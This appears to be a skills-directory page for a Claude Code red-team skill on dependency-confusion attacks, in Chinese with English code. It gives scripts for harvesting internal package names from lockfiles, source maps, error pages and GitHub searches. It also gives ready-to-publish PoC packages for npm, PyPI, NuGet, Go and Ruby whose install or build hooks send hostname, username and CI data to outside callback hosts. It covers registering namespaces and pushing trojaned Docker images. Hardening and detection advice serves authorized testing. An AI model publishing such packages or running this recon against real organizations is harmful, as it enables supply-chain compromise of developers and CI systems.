mcpField
O
offensive-dependency-confusion

offensive-dependency-confusion

github.com/snailsploit安全9.7k145 次安装2 周前更新
代码仓库

关于 offensive-dependency-confusion

用于授权依赖混淆和命名空间安全评估的技能,介绍内部包名发现、多种生态的仓库解析风险评估,以及使用安全 PoC 验证发现。

主要功能

  1. 01发现内部包名
  2. 02评估仓库配置
  3. 03按生态提供攻击指引
  4. 04安全回连 PoC 方法
  5. 05提供加固建议报告

适用场景

  1. 01审查锁定文件和构建清单
  2. 02评估公有与私有包的解析行为
  3. 03通过安全回连测试包名暴露
  4. 04记录仓库加固建议

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-dependency-confusion

安装后在 Claude Code 中输入/offensive-dependency-confusion确认已加载。

详细介绍

依赖混淆与命名空间攻击

依赖混淆利用了包管理器中的一个根本性设计矛盾: 需要从多个来源解析软件包。当组织同时维护内部软件包和公共依赖项时, 解析逻辑就会成为攻击面。攻击者利用开发者期望的软件包解析方式与 包管理器实际解析方式之间的差距。

Alex Birsan 在 2021 年的研究表明,这类攻击影响了 Apple、Microsoft、PayPal、Shopify、Netflix、Yelp、Tesla 和 Uber 等公司。根本原因——优先选择版本号更高的公共软件包,而不是版本号较低的私有软件包——只要仓库配置不完整,就仍然可能被利用。

本技能提供针对不同生态系统的利用技术、安全的 PoC 方法,以及全面的侦察方法,用于在已授权的测试中发现内部软件包名称。

快速工作流

  1. 开展侦察,发现目标使用的内部/私有软件包名称。
  2. 确定目标使用的软件包生态系统及仓库配置。
  3. 确认候选软件包名称尚未在相应的公共仓库中被注册。
  4. 准备安全的 PoC 软件包,其中包含 DNS canary 或 HTTP 回调,并使用较高的版本号。
  5. 将 PoC 发布到公共仓库,并附上清晰的安全研究说明。
  6. 监控回调端点,确认目标基础设施执行了该软件包。
  7. 将回调元数据(主机名、用户名、CI 标记、时间戳)记录为证据。
  8. 确认执行或测试窗口结束后,从公共仓库移除 PoC 软件包。
  9. 记录完整的攻击链、受影响的系统,以及仓库加固建议。

内部软件包名称侦察

发现目标使用的内部软件包是关键的第一步。 从所有可用的工件和线索中提取软件包名称。

锁定文件分析

锁定文件是最准确的内部软件包名称来源。它们会列出每个已解析依赖项的确切版本,在某些格式中还会列出仓库来源。

# npm: package-lock.json reveals resolved URLs
# Internal packages often resolve to a private registry
cat package-lock.json | jq -r '
  .packages | to_entries[] |
  select(.value.resolved != null) |
  select(.value.resolved | test("registry.npmjs.org") | not) |
  .key
' | sed 's|node_modules/||' | sort -u

# yarn: yarn.lock includes registry URLs inline
grep -B1 'resolved "https://registry.yarnpkg.com' yarn.lock | \
  grep -v 'resolved' | sed 's/@.*//' | sort -u > public_packages.txt
grep -B1 'resolved "https://' yarn.lock | \
  grep -v 'resolved' | grep -v 'yarnpkg.com' | grep -v 'npmjs.org' | \
  sed 's/@.*//' | sort -u > possibly_internal.txt

# pip: requirements.txt may reference internal packages
# Look for packages not found on public PyPI
grep -v '^#' requirements.txt | grep -v '^\s*$' | \
  sed 's/[>=<!\[].*//; s/\s*$//' | while read pkg; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
    [ "$code" = "404" ] && echo "[INTERNAL] $pkg"
  done

# Pipfile.lock contains source information
cat Pipfile.lock | jq -r '.default | keys[]' > pipfile_packages.txt
JavaScript 源映射

生产环境中的 JavaScript 包有时会附带源映射或可读的模块路径,从而暴露内部软件包名称。

# Extract source map URLs from JavaScript bundles
curl -s https://target.example.com/app.js | \
  grep -oP '//# sourceMappingURL=\K.*'

# Download and parse source map for internal module paths
curl -s https://target.example.com/app.js.map | \
  jq -r '.sources[]' | grep -E 'node_modules/(@[^/]+/[^/]+|[^/]+)' | \
  sed 's|.*node_modules/||; s|/.*||' | sort -u

# Look for webpack chunk manifests
curl -s https://target.example.com/ | \
  grep -oP 'src="[^"]*chunk[^"]*"' | \
  sed 's/src="//;s/"//' | while read chunk; do
    curl -s "https://target.example.com/$chunk" | \
      grep -oP '"[a-zA-Z@][a-zA-Z0-9_./-]+"' | sort -u
  done
错误消息和堆栈跟踪

应用程序错误会在堆栈跟踪和模块解析失败信息中泄露内部软件包名称。触发 404 页面、API 错误和调试端点。

curl -s https://target.example.com/nonexistent 2>&1 | \
  grep -oP 'Cannot find module .?\K[a-zA-Z@][a-zA-Z0-9_.-/]+'
# Also search Wayback Machine for cached error pages with module names
GitHub 仓库挖掘
# Search GitHub for the organization's package manifests and registry configs
gh api search/code \
  -X GET \
  -f q='org:targetcorp filename:package.json registry.corp' \
  -f per_page=10 | jq -r '.items[].path'

# Search for .npmrc files that reveal scope-to-registry mappings
gh api search/code \
  -X GET \
  -f q='org:targetcorp filename:.npmrc' \
  -f per_page=10

# Search for requirements.txt with --extra-index-url
gh api search/code \
  -X GET \
  -f q='org:targetcorp extra-index-url filename:requirements' \
  -f per_page=10

# Search for NuGet.config with private feeds
gh api search/code \
  -X GET \
  -f q='org:targetcorp filename:nuget.config packageSources' \
  -f per_page=10
其他侦察来源
# Docker Hub, npm org scopes, PyPI author search
curl -s "https://hub.docker.com/v2/repositories/targetcorp/?page_size=100" | jq -r '.results[].name'
curl -s "https://registry.npmjs.org/-/org/targetcorp/package" | jq -r 'keys[]'
# Also mine job postings for internal tool names and library references

npm 作用域混淆

npm 使用作用域软件包(@scope/package-name)为软件包划分命名空间。 当内部作用域软件包未正确映射到私有仓库,或存在未设置作用域的内部软件包时,就可能发生混淆。

未设置作用域的软件包混淆

组织使用未设置作用域的内部软件包时,除非显式指定其他仓库,否则 npm 会从默认仓库(npmjs.org)解析软件包。

# Vulnerable .npmrc -- no registry override for internal packages
registry=https://registry.npmjs.org/
# Internal packages like "corp-utils" resolve from public npm
# Slightly better but still vulnerable .npmrc
registry=https://npm.corp.example.com/
# Falls back to public npm if the private registry does not have the package
# or if the public version is higher
# Check if unscoped internal names are claimable on public npm
target_packages="corp-utils internal-auth shared-config data-pipeline"
for pkg in $target_packages; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
  echo "$pkg: HTTP $code"
done
作用域软件包混淆

即使是作用域软件包,只要作用域到仓库的映射缺失或配置错误,也容易受到攻击。

# Vulnerable .npmrc -- scope exists but no registry mapping
registry=https://registry.npmjs.org/
# @targetcorp/internal-lib resolves from public npm if the scope
# is not mapped to the private registry
# Correct .npmrc configuration (for reference in reports)
registry=https://registry.npmjs.org/
@targetcorp:registry=https://npm.corp.example.com/
# Now @targetcorp/* packages resolve exclusively from the private registry
# Check if the target's npm scope is claimed on public npm
curl -s "https://registry.npmjs.org/@targetcorp%2ftest-package" | jq '.error'
# "Not found" means the scope may be unclaimed
# Try to register the scope on npmjs.org if it is not reserved
npm PoC 软件包
{
  "name": "corp-internal-utils",
  "version": "999.0.0",
  "description": "Security research - dependency confusion PoC - contact [email protected]",
  "scripts": {
    "preinstall": "node callback.js || true"
  }
}
// callback.js -- safe metadata collection for npm PoC
const https = require('https');
const os = require('os');
const dns = require('dns');

// DNS canary (works even with outbound HTTP filtering)
const label = `npm-${os.hostname().slice(0, 20)}-${os.userInfo().username}`;
dns.resolve(`${label}.your-id.interact.sh`, () => {});

// HTTP callback with minimal metadata
const payload = JSON.stringify({
  hostname: os.hostname(), username: os.userInfo().username,
  ci: process.env.CI || 'false', platform: os.platform(),
  cwd: process.cwd(), timestamp: new Date().toISOString()
});
const req = https.request({
  hostname: 'canary.researcher.example', path: '/npm-confusion',
  method: 'POST', headers: { 'Content-Type': 'application/json' }, timeout: 5000
}, () => {});
req.on('error', () => {});
req.write(payload);
req.end();

PyPI 命名空间攻击

Python 的 pip 提供了两个索引配置选项,其安全属性有着关键差异。

--extra-index-url 与 --index-url
# VULNERABLE: --extra-index-url adds a second index alongside PyPI
pip install --extra-index-url https://pypi.corp.example.com/simple/ internal-lib
# pip checks BOTH PyPI and the private index, picks the highest version

# SAFE: --index-url replaces PyPI entirely
pip install --index-url https://pypi.corp.example.com/simple/ internal-lib
# pip ONLY checks the private index
# Vulnerable pip.conf (or pip.ini on Windows)
[global]
extra-index-url = https://pypi.corp.example.com/simple/
# All pip install commands now check both indexes

# Safe pip.conf
[global]
index-url = https://pypi.corp.example.com/simple/
# Public PyPI is no longer consulted
PyPI PoC 软件包
# setup.py -- PoC with install/develop/egg_info hook vectors
import os, sys, socket, urllib.request
from setuptools import setup
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info

CANARY = "canary.researcher.example"
PKG = "internal-data-pipeline"

def safe_callback(phase):
    """DNS + HTTP callback with minimal metadata. No secrets, no file access."""
    try:
        h = socket.gethostname()[:30]
        u = os.getenv("USER", os.getenv("USERNAME", "unknown"))[:20]
        ci = "1" if any(os.getenv(v) for v in
            ["CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL"]) else "0"
        label = f"pypi-{h}-{u}-{phase}-ci{ci}".replace(" ", "-").replace(".", "-")[:60]
        try: socket.getaddrinfo(f"{label}.your-id.interact.sh", 80)
        except socket.gaierror: pass
        data = f"pkg={PKG}&host={h}&user={u}&phase={phase}&ci={ci}".encode()
        urllib.request.urlopen(urllib.request.Request(
            f"https://{CANARY}/pypi-confusion", data=data, method="POST"), timeout=5)
    except Exception: pass

class InstallHook(install):
    def run(self): safe_callback("install"); install.run(self)
class DevelopHook(develop):
    def run(self): safe_callback("develop"); develop.run(self)
class EggInfoHook(egg_info):
    def run(self): safe_callback("egg_info"); egg_info.run(self)

setup(
    name=PKG, version="9999.0.0",
    description="Security research PoC -- dependency confusion -- contact [email protected]",
    cmdclass={"install": InstallHook, "develop": DevelopHook, "egg_info": EggInfoHook},
)

NuGet 源优先级利用

NuGet 会按照配置源的列出顺序解析软件包,但会从所有源中选择版本号最高的软件包。


<configuration>
  <packageSources>
    <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
    <add key="internal" value="https://nuget.corp.example.com/v3/index.json" />
  </packageSources>
</configuration>


<configuration>
  <packageSources><clear />
    <add key="internal" value="https://nuget.corp.example.com/v3/index.json" />
  </packageSources>
  <packageSourceMapping>
    <packageSource key="internal"><package pattern="Corp.*" /></packageSource>
  </packageSourceMapping>
</configuration>
# Recon: extract NuGet package names from .csproj files
grep -rh 'PackageReference Include=' --include="*.csproj" . | \
  sed 's/.*Include="//; s/".*//' | sort -u > nuget_packages.txt

# Check public NuGet for availability
while read pkg; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://api.nuget.org/v3-flatcontainer/${pkg,,}/index.json")
  [ "$code" = "404" ] && echo "[AVAILABLE] $pkg"
done < nuget_packages.txt
// NuGet PoC package -- .targets file for build-time execution
// Place in build/Corp.Internal.Auth.targets
// MSBuild executes this during package restore
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="DepConfusionCallback" BeforeTargets="Build">
    <Exec Command="curl -s https://canary.researcher.example/nuget-$(COMPUTERNAME)" 
          IgnoreExitCode="true" />
  </Target>
</Project>

Maven 和 Gradle 仓库顺序

Java 生态系统会按顺序遍历已配置的仓库来解析工件。如果 Maven Central 排在私有仓库之前,攻击者就可以在 Central 上注册相同的 groupId:artifactId。


<repositories>
  <repository><id>central</id><url>https://repo.maven.apache.org/maven2</url></repository>
  <repository><id>internal</id><url>https://nexus.corp.example.com/repository/maven-releases/</url></repository>
</repositories>
# Check Maven Central for groupId:artifactId availability
group_path=$(echo "com.targetcorp" | tr '.' '/')
curl -s -o /dev/null -w "%{http_code}" \
  "https://repo.maven.apache.org/maven2/$group_path/internal-auth-lib/maven-metadata.xml"
// build.gradle: Gradle checks mavenCentral() first -- same vulnerability
repositories {
    mavenCentral()
    maven { url "https://nexus.corp.example.com/repository/maven-releases/" }
}

Go 模块代理滥用

Go 模块通过 GOPROXY 链进行解析。默认配置 GOPROXY=https://proxy.golang.org,direct 表示会优先查询公共代理。

# Check if a Go module path is claimable
# Internal modules often use the corp domain as the module path
curl -s "https://proxy.golang.org/corp.example.com/internal-lib/@v/list"
# 404/410 means it is not cached on the public proxy

# GOPROXY misconfiguration allows confusion
# If GOPROXY=https://proxy.golang.org,https://goproxy.corp.example.com
# the public proxy is checked first
# Recon: extract Go module dependencies
cat go.sum | awk '{print $1}' | sort -u | \
  grep -v 'github.com\|golang.org\|google.golang.org' > go_internal_modules.txt
// Go module with init() callback for PoC
package confusionpoc

import ("net"; "net/http"; "os"; "os/user"; "strings")

func init() {
	hostname, _ := os.Hostname()
	u, _ := user.Current()
	uname := "unknown"
	if u != nil { uname = u.Username }
	label := strings.ReplaceAll(hostname+"-"+uname, ".", "-")
	net.LookupHost(label + ".your-id.interact.sh")
	http.Get("https://canary.researcher.example/go-confusion?h=" + hostname + "&u=" + uname)
}

Ruby Gems 和 Docker 镜像混淆

Ruby Gems 抢注
# Check if a gem name is available
curl -s "https://rubygems.org/api/v1/gems/corp-internal-utils.json" | \
  jq '.name // "NOT FOUND"'
# Gemspec with post-install callback via ext/extconf.rb
Gem::Specification.new do |s|
  s.name = "corp-internal-utils"; s.version = "999.0.0"
  s.summary = "Security research - dependency confusion PoC"
  s.authors = ["Security Researcher"]; s.extensions = ["ext/extconf.rb"]
end
# ext/extconf.rb -- executed during gem install
require 'socket'; require 'net/http'
h, u = Socket.gethostname, (ENV['USER'] || 'unknown')
Net::HTTP.get(URI("https://canary.researcher.example/ruby-#{h}-#{u}")) rescue nil
File.write("Makefile", "all:\n\ttrue\ninstall:\n\ttrue\n")
Docker 镜像标签混淆

未限定的镜像名称(例如 targetcorp/backend)会解析到 Docker Hub。 如果 Docker Hub 上的命名空间尚未被认领,你就可以注册该命名空间,并推送 一个针对自动拉取场景的木马镜像。

# Check if the Docker Hub namespace is available
curl -s "https://hub.docker.com/v2/repositories/targetcorp/" | jq '.detail // .count'
# Vulnerable docker-compose.yml -- unqualified names resolve to Docker Hub
services:
  backend:
    image: targetcorp/backend:latest  # should be registry.corp.example.com/...
  frontend:
    image: targetcorp/frontend:v2.1   # mutable tag; should use @sha256:... digest

安全 PoC 方法

你绝不会部署具有破坏性或能够窃取数据的载荷。每个 PoC 只使用安全回调。

DNS Canary 选项
# interactsh (preferred -- free, reliable OOB detection)
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client -v
# Burp Collaborator -- generate payload from Burp Pro, monitor Collaborator tab
# Self-hosted -- run a logging DNS server on your own NS-delegated domain
回调数据限制

仅收集能够证明代码执行并识别受影响系统所需的信息: 主机名、用户名、CI 布尔值、操作系统/平台、包管理器版本、 时间戳。绝不收集文件内容、CI 标记以外的环境变量值、凭据、令牌、 目录/进程列表,或任何形式的持久访问信息。

包描述模板

在发布到公共注册表的每个 PoC 包中,都要包含:

Security Research - Dependency Confusion Proof of Concept.
Authorized security assessment. No malicious functionality. Sends a DNS/HTTP
callback to a researcher-controlled server. Contact: [email protected]
Report reference: [ENGAGEMENT-ID]

检测 / 防御者视角

了解攻击者的视角,有助于你在参与报告中提供可执行的修复建议。

按生态系统分类的注册表配置加固:

生态系统易受攻击的模式安全的模式
npm未配置作用域到注册表的映射在 .npmrc 中配置 @scope:registry=
pip--extra-index-url--index-url(独占)
NuGet多个源,且未配置 <clear /><clear /> + packageSourceMapping
MavenCentral 列在私有仓库之前私有仓库优先,或使用镜像设置
GradlemavenCentral() 在私有源之前repositories {} 中仅配置私有仓库
Go默认 GOPROXY企业环境使用 GONOSUMCHECK + GOPRIVATE
Ruby默认 gem 源使用包含私有 gem 服务的 source 块
Docker未限定的镜像名称使用 FQDN 注册表前缀 + 摘要固定

检测信号:安装/构建阶段出现意外的出站 DNS/HTTP 请求;锁文件变更,指向已知内部 包的公共注册表;版本跳升至 999.x 或 9999.x;构建日志中出现先前构建中不存在的新包。

# Monitor install-time network activity; audit install scripts
strace -f -e trace=network npm install 2>&1 | grep -i connect
npx can-i-ignore-scripts
pip download --no-deps --no-binary :all: suspicious-package && tar xzf *.tar.gz && cat */setup.py

参与测试速查表

步骤操作工具 / 命令
1解析锁文件,查找内部名称jq, grep, awk
2在 GitHub 上查找软件包清单和 .npmrcgh api search/code
3从 JS 源映射中提取名称curl, jq
4检查公共注册表中的可用性使用 curl 请求注册表 API
5使用 confused 扫描confused -l npm package-lock.json
6启动 DNS canary 监听器interactsh-client
7构建 PoC 软件包(高版本、安全回调)Custom setup.py / package.json
8发布到公共注册表npm publish / twine upload
9监控回调interactsh / Burp Collaborator
10使用回调证据记录发现结果截图、DNS 日志
11从公共注册表中移除 PoC 软件包npm unpublish / PyPI delete
12提供修复建议:按生态系统固定注册表版本上方的报告模板

时间安排:CI/CD 回调会在提交后的几分钟内到达;开发者工作站可能需要数天或数周。整个测试周期内都要保持 canary 监听器运行。

协同安排:确认测试范围包含向公共注册表发布软件包。提前与目标安全团队协调。记录软件包名称、版本和发布时间戳。测试周期结束后,及时移除 PoC 软件包。


重要参考资料

评论

支持 Markdown